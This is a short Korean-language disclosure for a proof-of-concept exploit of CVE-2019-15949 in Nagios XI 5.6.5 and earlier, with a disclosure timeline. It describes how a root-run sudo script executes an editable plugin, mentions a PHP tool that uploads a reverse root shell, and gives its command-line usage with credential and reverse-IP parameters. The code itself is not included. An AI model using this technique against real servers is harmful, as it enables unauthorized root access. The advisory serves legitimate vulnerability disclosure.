
Nagios XI (5.6.5)의 취약점을 악용하여 루트 셸을 실행하는 POC
Nagios XI <= 5.6.5에는 공격자가 RCE를 활용하여 root로 권한을 상승시킬 수 있는 취약점이 존재합니다.
이 익스플로잇은 'nagios' 사용자로 서버에 접근할 수 있는 권한, 또는 웹 인터페이스를 통해 플러그인을 관리할 수 있는 CCM 접근 권한이 필요합니다.
getprofile.sh 스크립트는 시스템 프로필 다운로드(profile.php?cmd=download) 시 호출되며, passwordless sudo 항목을 통해 root 권한으로 실행됩니다. 이 스크립트는 nagios 사용자 소유의 'check_plugin' 실행 파일을 실행합니다.
플러그인 수정 권한이 있는 Nagios XI에 로그인한 사용자 또는 서버의 'nagios' 사용자는 'check_plugin' 실행 파일을 수정하고 root 권한으로 실행되는 악성 명령을 삽입할 수 있습니다.
역방향 root 셸을 생성하는 페이로드를 업로드하는 PHP POC가 개발되었습니다.
사용법:
php privesc.php --host=example.com --ssl=[true/false] --user=username --pass=password --reverseip=ip --reverseport=port
Nagios에 보고: 2019년 7월 29일
Nagios가 확인: 2019년 7월 29일
5.6.6 버전에서 수정: 2019년 8월 20일
CVE 할당: 2019년 9월 6일 (CVE-2019-15949 https://nvd.nist.gov/vuln/detail/CVE-2019-15949)
